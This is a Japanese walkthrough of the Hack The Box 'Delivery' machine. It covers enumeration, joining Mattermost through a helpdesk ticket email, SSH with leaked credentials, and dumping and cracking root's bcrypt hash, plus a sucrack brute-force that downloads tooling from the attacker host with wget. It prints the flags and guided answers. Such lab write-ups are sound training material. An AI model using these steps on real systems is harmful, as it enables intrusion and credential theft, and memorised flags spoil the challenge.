Hack The BoxのWriteup(Delivery)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Delivery」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン
  (2) Webアクセスできるファイル/ディレクトリ調査
  (3) Webサイトの動作確認
  (4) 名前解決のためのhostsファイル更新
  (5) MatterMostサーバ上のメッセージ取得
  (6) SSHログインによるmaildelivererユーザー権限のシェル奪取
  (7) 特権昇格

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン


(1) 「nmap -sC -sV 10.10.10.222」コマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)やHTTP(8065/tcp)が応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.10.222
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-29 15:55 JST
Nmap scan report for 10.10.10.222
Host is up (0.36s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-title: Welcome
|_http-server-header: nginx/1.14.2
8065/tcp open  http    Golang net/http server
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Mattermost
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, max-age=31556926, public
|     Content-Length: 3108
|     Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com
|     Content-Type: text/html; charset=utf-8
|     Last-Modified: Sat, 29 Mar 2025 06:48:30 GMT
|     X-Frame-Options: SAMEORIGIN
|     X-Request-Id: mggu3gwhajdjfd9m9y17bcf3dy
|     X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
|     Date: Sat, 29 Mar 2025 06:56:46 GMT
|     <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re
|   GenericLines, Help, RTSPRequest, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, max-age=31556926, public
|     Content-Length: 3108
|     Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com
|     Content-Type: text/html; charset=utf-8
|     Last-Modified: Sat, 29 Mar 2025 06:48:30 GMT
|     X-Frame-Options: SAMEORIGIN
|     X-Request-Id: qr96r1zsmidhikykqeszmdrxzh
|     X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
|     Date: Sat, 29 Mar 2025 06:56:26 GMT
|     <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Date: Sat, 29 Mar 2025 06:56:26 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
ーーー(省略)ーーー
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   202.18 ms 10.10.16.1
2   418.27 ms 10.10.10.222

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.41 seconds


(2) ブラウザを用いて「http://10.10.10.222/」にアクセスすると、Webページが表示される。


(3) ブラウザを用いて「http://10.10.10.222:8065/」にアクセスすると、「http://10.10.10.222:8065/login」にリダイレクトされてWebページが表示される。Mattermostというオープンソースのチャットツールが使用されていることが分かる。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いて「http://10.10.10.222/」でアクセスできるURLを確認すると、「http://10.10.10.222/assets/js/util.js」や「http://10.10.10.222/assets/js/main.js」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ feroxbuster -u http://10.10.10.222/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
301      GET        7l       12w      185c http://10.10.10.222/images => http://10.10.10.222/images/
200      GET      587l     1232w    12433c http://10.10.10.222/assets/js/util.js
200      GET      409l      734w     8801c http://10.10.10.222/assets/js/main.js
200      GET       35l       73w      454c http://10.10.10.222/assets/css/ie9.css
200      GET        2l      138w     9085c http://10.10.10.222/assets/js/skel.min.js
200      GET       12l       35w      205c http://10.10.10.222/assets/css/noscript.css
301      GET        7l       12w      185c http://10.10.10.222/assets => http://10.10.10.222/assets/
301      GET        7l       12w      185c http://10.10.10.222/error => http://10.10.10.222/error/
200      GET     1594l     3457w    32628c http://10.10.10.222/assets/css/main.css
200      GET        5l     1413w    95957c http://10.10.10.222/assets/js/jquery.min.js
200      GET      311l      760w    10850c http://10.10.10.222/
ーーー(省略)ーーー




(2) feroxbusterを用いて「http://10.10.10.222:8065/」でアクセスできるURLを確認すると、「http://10.10.10.222:8065/」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ feroxbuster -u http://10.10.10.222:8065/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200      GET        1l      140w     3108c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
[####################] - 2m     30000/30000   0s      found:0       errors:0
[####################] - 2m     30000/30000   221/s   http://10.10.10.222:8065/
ーーー(省略)ーーー




(3) GoBusterを用いて「http://10.10.10.222/」でアクセスできるURLを確認すると、「」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ gobuster dir -u http://10.10.10.222/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Delivery_80.txt
ーーー(省略)ーーー
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 185] [--> http://10.10.10.222/assets/]
/error                (Status: 301) [Size: 185] [--> http://10.10.10.222/error/]
/images               (Status: 301) [Size: 185] [--> http://10.10.10.222/images/]
Progress: 20478 / 20479 (100.00%)
===============================================================
ーーー(省略)ーーー




(4) GoBusterを用いて「http://10.10.10.222:8065/」でアクセスできるURLを確認すると、エラーになった。

$ gobuster dir -u http://10.10.10.222:8065/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Delivery_8065.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.222:8065/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================

Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.222:8065/4d6cd25f-512c-4ff6-bae1-bf4590d1afef => 200 (Length: 3108). To continue please exclude the status code or the length




(5) dirsearchを用いて「http://10.10.10.222/」でアクセスできるURLを確認すると、「http://10.10.10.222/error/」や「http://10.10.10.222/README.MD」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ sudo dirsearch -u http://10.10.10.222/
ーーー(省略)ーーー
Target: http://10.10.10.222/

[03:38:30] Starting:
[03:39:10] 301 -  185B  - /assets  ->  http://10.10.10.222/assets/
[03:39:11] 403 -  571B  - /assets/
[03:39:27] 301 -  185B  - /error  ->  http://10.10.10.222/error/
[03:39:27] 200 -    1KB - /error/
[03:39:35] 403 -  571B  - /images/
[03:39:35] 301 -  185B  - /images  ->  http://10.10.10.222/images/
[03:39:58] 200 -  648B  - /README.MD

Task Completed
ーーー(省略)ーーー




(6) dirsearchを用いて「http://10.10.10.222:8065/」でアクセスできるURLを確認すると、「http://10.10.10.222:8065/robots.txt」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ sudo dirsearch -u http://10.10.10.222:8065/
ーーー(省略)ーーー
[16:20:17] 301 -    0B  - /prod-api/druid/index.html  ->  ./
[16:20:20] 200 -   26B  - /robots.txt
[16:20:24] 301 -    0B  - /siteadmin/index.html  ->  ./
ーーー(省略)ーーー


Webサイトの動作確認


(1) ブラウザを用いて「http://10.10.10.222/」にアクセスして、「CONTACT US」をクリックする。


(2) ヘルプデスク(http://helpdesk.delivery.htb/)にて連絡すると、@delivery.htbのメールアドレスを取得できてMatterMostサーバー(http://delivery.htb:8065/)にアクセスできるようになる旨のメッセージが表示される。


名前解決のためのhostsファイル更新


(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.10.222 helpdesk.delivery.htb' | sudo tee -a /etc/hosts
$ echo '10.10.10.222 delivery.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.10.222 helpdesk.delivery.htb」と「10.10.10.222 delivery.htb」が出力されることを確認する。


(2) ブラウザを用いて「http://helpdesk.delivery.htb/」にアクセスすると、Webページが表示される。


(3) ブラウザを用いて「http://delivery.htb:8065/」にアクセスすると、Webページが表示される。

MatterMostサーバ上のメッセージ取得


Webサイトの動作確認」の箇所でヘルプデスク(http://helpdesk.delivery.htb/)で@delivery.htbのメールアドレスを取得できてMatterMostサーバー(http://delivery.htb:8065/)にアクセスできるようになる旨のメッセージがあった。その流れに従って作業を実施する。



(1) ブラウザを用いて「http://helpdesk.delivery.htb/」にアクセスして、「Open a New Ticket」をクリックする。


(2) 任意のチケット情報を入力して、「Create Ticket」をクリックする。



(3) チケットIDやチケット情報を追加する場合の送信先メールアドレスが表示される。


(4) ブラウザを用いて「http://delivery.htb:8065/login」にアクセスして、「Create one now」をクリックする。


(5) メールアドレスに手順(3)で表示されたメールアドレスを入力して、その他は任意の情報を入力する。その後、「Create Account」をクリックする。


(6) 認証用のメールが入力したメールアドレスに送信された旨のメッセージが表示される。


(7) ブラウザを用いて「http://helpdesk.delivery.htb/」にアクセスして、「Check Ticket Status」をクリックする。


(8) 以下の内容を入力して、「View Ticket」をクリックする。
    ・Email Address : 手順(2)で設定したメールアドレス
    ・Ricket Number : 手順(3)で表示されたチケットID


(9) 認証用のメールがチケットに登録されているため、ユーザーをアクティブにするためのURLを確認する。


(10) 手順(9)で確認したURLにアクセスする。その後、手順(5)で設定したメールアドレスとパスワードを入力して、「Sign in」をクリックする。


(11) 「Internal」をクリックして、「Internal」というチームに参加する。


(12) Mattermostのページが表示されるため、「Skip Tutorial」をクリックする。


(13) Internalのチャネルのチャットにrootユーザーが認証情報は「maildeliverer:Youve_G0t_Mail!」であること、「PleaseSubscribe!」はhashcatのルールを使用して簡単に解読できることが記載されている。


SSHログインによるmaildelivererユーザー権限のシェル奪取


(1) チャットに表示されていた認証情報を用いて、sshのログイン試行をすると、ログインに成功する。

$ ssh maildeliverer@10.10.10.222
  →パスワード(Youve_G0t_Mail!)を入力する。


(2) 一般ユーザー用のフラグファイルを確認する。

$ ls -l
total 4
-r-------- 1 maildeliverer maildeliverer 33 Mar 29 02:49 user.txt

$ cat /home/maildeliverer/user.txt
1c576219957f41a8c3de85f13ad5a59d


特権昇格(データベース内の認証情報取得)


(1) sudoコマンドの設定を確認すると、sudoで実行できるコマンドがないことが分かる。

$ sudo -l
   →パスワード(Youve_G0t_Mail!)を入力する。
   →「Sorry, user maildeliverer may not run sudo on Delivery.」が出力される。


(2) SUIDファイルを検索する。特に気になる実行ファイルがない。

$ find / -perm -u=s -type f 2> /dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chfn
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/fusermount


(3) rootユーザーでログインするための認証情報が記載されたファイルを確認するために、「conf」という文字列を含むファイルの一覧を表示する。

$ find / -name "*config*"
/etc/python/debian_config
/etc/manpath.config
/etc/python3/debian_config
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/opt/mattermost/config
/opt/mattermost/config/config.json


(4) 表示されたファイルのうち、「/opt/mattermost/config/config.json」にデータベース(MySQL)の認証情報が記載されていることが分かる。

$ cat /opt/mattermost/config/config.json
ーーー(省略)ーーー
"SqlSettings": {
        "DriverName": "mysql",
        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
        "DataSourceReplicas": [],
        "DataSourceSearchReplicas": [],
        "MaxIdleConns": 20,
        "ConnMaxLifetimeMilliseconds": 3600000,
        "MaxOpenConns": 300,
        "Trace": false,
        "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
        "QueryTimeout": 30,
        "DisableDatabaseSearch": false
    },
ーーー(省略)ーーー


(3) 取得した認証情報を用いてデータベースにログインする。

$ mysql -h localhost -u mmuser -p
  →パスワード(Crack_The_MM_Admin_PW)を入力する。


(4) 「show databases;」コマンドでデータベースの一覧を表示すると、「mattermost」という名前のデータベースがあることが分かる。

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mattermost         |
+--------------------+
2 rows in set (0.001 sec)


(5) 「use mattermost;」コマンドでmattermostデータベースにアクセスする。

MariaDB [(none)]> use mattermost;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed


(6) 「show tables;」コマンドでmattermostデータベース内のテーブル一覧を確認する。

MariaDB [mattermost]> show tables;
+------------------------+
| Tables_in_mattermost   |
+------------------------+
| Audits                 |
| Bots                   |
| ChannelMemberHistory   |
| ChannelMembers         |
| Channels               |
| ClusterDiscovery       |
| CommandWebhooks        |
| Commands               |
| Compliances            |
| Emoji                  |
| FileInfo               |
| GroupChannels          |
| GroupMembers           |
| GroupTeams             |
| IncomingWebhooks       |
| Jobs                   |
| Licenses               |
| LinkMetadata           |
| OAuthAccessData        |
| OAuthApps              |
| OAuthAuthData          |
| OutgoingWebhooks       |
| PluginKeyValueStore    |
| Posts                  |
| Preferences            |
| ProductNoticeViewState |
| PublicChannels         |
| Reactions              |
| Roles                  |
| Schemes                |
| Sessions               |
| SidebarCategories      |
| SidebarChannels        |
| Status                 |
| Systems                |
| TeamMembers            |
| Teams                  |
| TermsOfService         |
| ThreadMemberships      |
| Threads                |
| Tokens                 |
| UploadSessions         |
| UserAccessTokens       |
| UserGroups             |
| UserTermsOfService     |
| Users                  |
+------------------------+
46 rows in set (0.001 sec)


(7) 「desc Users;」コマンドでUsersテーブルのカラムを確認する。

MariaDB [mattermost]> desc Users;
+--------------------+--------------+------+-----+---------+-------+
| Field              | Type         | Null | Key | Default | Extra |
+--------------------+--------------+------+-----+---------+-------+
| Id                 | varchar(26)  | NO   | PRI | NULL    |       |
| CreateAt           | bigint(20)   | YES  | MUL | NULL    |       |
| UpdateAt           | bigint(20)   | YES  | MUL | NULL    |       |
| DeleteAt           | bigint(20)   | YES  | MUL | NULL    |       |
| Username           | varchar(64)  | YES  | UNI | NULL    |       |
| Password           | varchar(128) | YES  |     | NULL    |       |
| AuthData           | varchar(128) | YES  | UNI | NULL    |       |
| AuthService        | varchar(32)  | YES  |     | NULL    |       |
| Email              | varchar(128) | YES  | UNI | NULL    |       |
| EmailVerified      | tinyint(1)   | YES  |     | NULL    |       |
| Nickname           | varchar(64)  | YES  |     | NULL    |       |
| FirstName          | varchar(64)  | YES  |     | NULL    |       |
| LastName           | varchar(64)  | YES  |     | NULL    |       |
| Position           | varchar(128) | YES  |     | NULL    |       |
| Roles              | text         | YES  |     | NULL    |       |
| AllowMarketing     | tinyint(1)   | YES  |     | NULL    |       |
| Props              | text         | YES  |     | NULL    |       |
| NotifyProps        | text         | YES  |     | NULL    |       |
| LastPasswordUpdate | bigint(20)   | YES  |     | NULL    |       |
| LastPictureUpdate  | bigint(20)   | YES  |     | NULL    |       |
| FailedAttempts     | int(11)      | YES  |     | NULL    |       |
| Locale             | varchar(5)   | YES  |     | NULL    |       |
| Timezone           | text         | YES  |     | NULL    |       |
| MfaActive          | tinyint(1)   | YES  |     | NULL    |       |
| MfaSecret          | varchar(128) | YES  |     | NULL    |       |
+--------------------+--------------+------+-----+---------+-------+
25 rows in set (0.001 sec)



(8) 「select Username, Password from Users;」コマンドでUsersテーブルの内容を確認する。データベースに登録されているrootユーザーの認証情報が「$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO」であることが分かる。

MariaDB [mattermost]> select Username, Password from Users;
+----------------------------------+--------------------------------------------------------------+
| Username                         | Password                                                     |
+----------------------------------+--------------------------------------------------------------+
| test123                          | $2a$10$q1QavdEecs9ZtHP71/SS3OIvNtHzLtfjqChIQfvpdhUirUHUpuWk2 |
| surveybot                        |                                                              |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport                    |                                                              |
| user01                           | $2a$10$ts2mpmw0xBvsbCxAJbIiWOAUehMI0aO/baZQ140z9Rss9vt3Gb4ZW |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
+----------------------------------+--------------------------------------------------------------+


(9) 「exit;」コマンドでデータベースへの操作を終了する。

MariaDB [mattermost]> exit;
Bye
maildeliverer@Delivery:/opt/mattermost/config$


(10) Kali Linux側の操作で取得したrootユーザーの認証情報を「$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO」をファイルに格納する。

※Kali Linux側のマシンでコマンドを実行する。

$ vi root_hash
  →「$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO」を書き込む。

$ cat root_hash                                                  
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO


(11) MatterMostサーバーのチャットでrootユーザーが「PleaseSubscribe!」という単語を含むパスワードを再利用しないよう警告する記載があったため、hashcatを用いて「PleaseSubscribe!」と類似の単語リストを作成する。

※Kali Linux側のマシンでコマンドを実行する。

$ echo PleaseSubscribe! | hashcat -r /usr/share/hashcat/rules/best64.rule --stdout > Subscribe_list

$ cat Subscribe_list
PleaseSubscribe!
!ebircsbuSesaelP
PLEASESUBSCRIBE!
pleaseSubscribe!
PleaseSubscribe!0
PleaseSubscribe!1
PleaseSubscribe!2
PleaseSubscribe!3
PleaseSubscribe!4
PleaseSubscribe!5
PleaseSubscribe!6
PleaseSubscribe!7
PleaseSubscribe!8
PleaseSubscribe!9
PleaseSubscribe!00
PleaseSubscribe!01
PleaseSubscribe!02
PleaseSubscribe!11
PleaseSubscribe!12
PleaseSubscribe!13
PleaseSubscribe!21
PleaseSubscribe!22
PleaseSubscribe!23
PleaseSubscribe!69
PleaseSubscribe!77
PleaseSubscribe!88
PleaseSubscribe!99
PleaseSubscribe!123
PleaseSubscribe!e
PleaseSubscribe!s
PleaseSubscribea
PleaseSubscribs
PleaseSubscriba
PleaseSubscriber
PleaseSubscribie
PleaseSubscrio
PleaseSubscriy
PleaseSubscri123
PleaseSubscriman
PleaseSubscridog
1PleaseSubscribe!
thePleaseSubscribe!
dleaseSubscribe!
maeaseSubscribe!
PleaseSubscribe!
PleaseSubscr1be!
Pl3as3Subscrib3!
PlaseSubscribe!
PlseSubscribe!
PleseSubscribe!
PleaeSubscribe!
Ples
Pleas1
PleaseSubscribe
PleaseSubscrib
PleaseSubscri
PleaseSubscriPleaseSubscri
PeaseSubscri
ribe
bscribe!easeSu
PleaseSubscri!
dleaseSubscrib
be!PleaseSubscri
ibe!
ribe!
cribcrib
tlea
asPasP
XleaseSubscribe!
SaseSubscribe!
PleaSu
PlesPles
asP
PlcrPlcr
PcSu
PleasS
PeSubs


(12) John the Ripperを用いてrootユーザーのハッシュ値を解析すると、「PleaseSubscribe!21」のハッシュ値であることが分かる。

※Kali Linux側のマシンでコマンドを実行する。

$ john root_hash --wordlist=Subscribe_list
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
PleaseSubscribe!21 (?)
1g 0:00:00:00 DONE (2025-03-30 21:40) 2.941g/s 105.8p/s 105.8c/s 105.8C/s PleaseSubscribe!12..PleaseSubscrio
Use the "--show" option to display all of the cracked passwords reliably
Session completed.


(13) suコマンドを用いてrootユーザーにログインする。

※maildelivererユーザーでログインしている攻撃対象マシン(Delivery)でコマンドを実行する。

$ su
  →パスワード(PleaseSubscribe!21)を入力する。


(14) 現在ログインしているユーザー情報を確認する。

# whoami
root

# id
uid=0(root) gid=0(root) groups=0(root)


(15) root用のフラグファイルを確認する。

# cat /root/root.txt
68cb722c029522d213d1adc4d3112a2b


【別解】特権昇格(suを用いたブルートフォース攻撃)


suを介してローカルユーザーアカウントをブルートフォース攻撃するツール(sucrack)を用いて特権昇格する方法を記載する。

(1) MatterMostサーバーのチャットでrootユーザーが「PleaseSubscribe!」という単語を含むパスワードを再利用しないよう警告する記載があったため、hashcatを用いて「PleaseSubscribe!」と類似の単語リストを作成する。

※Kali Linux側のマシンでコマンドを実行する。

$ echo PleaseSubscribe! | hashcat -r /usr/share/hashcat/rules/best64.rule --stdout > Subscribe_list

$ cat Subscribe_list
PleaseSubscribe!
!ebircsbuSesaelP
PLEASESUBSCRIBE!
pleaseSubscribe!
PleaseSubscribe!0
PleaseSubscribe!1
PleaseSubscribe!2
PleaseSubscribe!3
PleaseSubscribe!4
PleaseSubscribe!5
PleaseSubscribe!6
PleaseSubscribe!7
PleaseSubscribe!8
PleaseSubscribe!9
PleaseSubscribe!00
PleaseSubscribe!01
PleaseSubscribe!02
PleaseSubscribe!11
PleaseSubscribe!12
PleaseSubscribe!13
PleaseSubscribe!21
PleaseSubscribe!22
PleaseSubscribe!23
PleaseSubscribe!69
PleaseSubscribe!77
PleaseSubscribe!88
PleaseSubscribe!99
PleaseSubscribe!123
PleaseSubscribe!e
PleaseSubscribe!s
PleaseSubscribea
PleaseSubscribs
PleaseSubscriba
PleaseSubscriber
PleaseSubscribie
PleaseSubscrio
PleaseSubscriy
PleaseSubscri123
PleaseSubscriman
PleaseSubscridog
1PleaseSubscribe!
thePleaseSubscribe!
dleaseSubscribe!
maeaseSubscribe!
PleaseSubscribe!
PleaseSubscr1be!
Pl3as3Subscrib3!
PlaseSubscribe!
PlseSubscribe!
PleseSubscribe!
PleaeSubscribe!
Ples
Pleas1
PleaseSubscribe
PleaseSubscrib
PleaseSubscri
PleaseSubscriPleaseSubscri
PeaseSubscri
ribe
bscribe!easeSu
PleaseSubscri!
dleaseSubscrib
be!PleaseSubscri
ibe!
ribe!
cribcrib
tlea
asPasP
XleaseSubscribe!
SaseSubscribe!
PleaSu
PlesPles
asP
PlcrPlcr
PcSu
PleasS
PeSubs


(2) 「https://github.com/hemp3l/sucrack」の攻撃ツールを取得するために、一旦Kali Linuxに保存する。

※Kali Linux側のマシンでコマンドを実行する。

$ git clone https://github.com/hemp3l/sucrack
$ rm -rf sucrack/.git/
$ zip sucrack.zip -r sucrack/


(3) Kali LinuxのIPアドレスを確認し、80/tcpで待ち受けるWebサービスを起動する。

※Kali Linux側のマシンでコマンドを実行する。

$ ip a
  →Kali LinuxのVPN用のIPアドレスを確認する。今回のIPアドレスは「10.10.16.6」。

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...


(4) 攻撃対象のマシン(Delivery)にKali Linux上のsucrack.zipとSubscribe_listのファイルをダウンロードする。

$ wget http://10.10.16.6/sucrack.zip
--2025-03-30 10:55:36--  http://10.10.16.6/sucrack.zip
Connecting to 10.10.16.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 164970 (161K) [application/zip]
Saving to: ‘sucrack.zip’

sucrack.zip                        100%[===============================================================>] 161.10K  97.5KB/s    in 1.7s

2025-03-30 10:55:38 (97.5 KB/s) - ‘sucrack.zip’ saved [164970/164970]


$ wget http://10.10.16.6/Subscribe_list
--2025-03-30 11:06:33--  http://10.10.16.6/Subscribe_list
Connecting to 10.10.16.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1177 (1.1K) [application/octet-stream]
Saving to: ‘Subscribe_list’

Subscribe_list                     100%[===============================================================>]   1.15K  --.-KB/s    in 0.01s

2025-03-30 11:06:34 (78.4 KB/s) - ‘Subscribe_list’ saved [1177/1177]


(5) ダウンロードしたsucrack.zipファイルを解凍する。

※maildelivererユーザーでログインしている攻撃対象マシン(Delivery)でコマンドを実行する。

$ unzip sucrack.zip


(6) sucrackを使用するための準備をする。

※maildelivererユーザーでログインしている攻撃対象マシン(Delivery)でコマンドを実行する。

$ cd sucrack/
$ ./configure
$ make


(7) sucrackを用いてrootユーザーのパスワードをブルートフォース攻撃すると、パスワードが「PleaseSubscribe!21」であることが分かる。

※maildelivererユーザーでログインしている攻撃対象マシン(Delivery)でコマンドを実行する。

$ cd src/
$ ./sucrack -a -w 20 -s 10 -u root -rl AFLafld /home/maildeliverer/Subscribe_list
-a option not available. Use the --enable-statistics configure flag
-s option not available. Use the --enable-statistics configure flag
password is: PleaseSubscribe!21


(8) suコマンドを用いてrootユーザーにログインする。

※maildelivererユーザーでログインしている攻撃対象マシン(Delivery)でコマンドを実行する。

$ su
  →パスワード(PleaseSubscribe!21)を入力する。


(9) 現在ログインしているユーザー情報を確認する。

# whoami
root

# id
uid=0(root) gid=0(root) groups=0(root)


(10) root用のフラグファイルを確認する。

# cat /root/root.txt
68cb722c029522d213d1adc4d3112a2b


[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many TCP ports are open on the target?
問題(日本語訳):ターゲット上で開いている TCP ポートはいくつですか?

答え:3
※nmapコマンドの結果、22/tcpや80/tcpや8065/tcpが応答がある。


・Task 2

問題(英語訳):What is the FQDN for the Help Desk?
問題(日本語訳):ヘルプデスクの FQDN は何ですか?

答え:helpdesk.delivery.htb


・Task 3

問題(英語訳):Do you need an account to create a ticket on the support center?
問題(日本語訳):サポート センターでチケットを作成するにはアカウントが必要ですか?

答え:no


・Task 4

問題(英語訳):Is it possible to update a ticket in any way besides interacting with the website?
問題(日本語訳):ウェブサイトを操作する以外の方法でチケットを更新することは可能ですか?

答え:yes


・Task 5

問題(英語訳):What chat software is served on TCP port 8065?
問題(日本語訳):TCP ポート 8065 で提供されているチャット ソフトウェアは何ですか?

答え:Mattermost


・Task 6

問題(英語訳):What user has been posting in the Internal channel?
問題(日本語訳):内部チャネルに投稿したのはどのユーザーですか?

答え:root


・Submit User Flag

問題(英語訳):Submit the flag located in the maildeliverer user's home directory.
問題(日本語訳):メール配信者のユーザーのホームディレクトリにあるフラグを送信します。

答え:1c576219957f41a8c3de85f13ad5a59d
※「/home/maildeliverer/user.txt」ファイルの内容


・Task 8

問題(英語訳):What is the password the mmuser user uses to connect to mysql?
問題(日本語訳):mmuser ユーザーが mysql に接続するために使用するパスワードは何ですか?

答え:Crack_The_MM_Admin_PW


・Task 9

問題(英語訳):What is the hash of the root user's password for Mattermost?
問題(日本語訳):Mattermost のルート ユーザーのパスワードのハッシュは何ですか?

答え:$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO


・Task 10

問題(英語訳):What is the plaintext password for the root user?
問題(日本語訳):rootユーザーのプレーンテキストパスワードは何ですか?

答え:PleaseSubscribe!21


・Submit Root Flag

問題(英語訳):Submit the flag located in root's home directory.
問題(日本語訳):rootのホームディレクトリにあるフラグを送信します。

答え:68cb722c029522d213d1adc4d3112a2b


関連記事(Hack The Box)

※後日作成予定。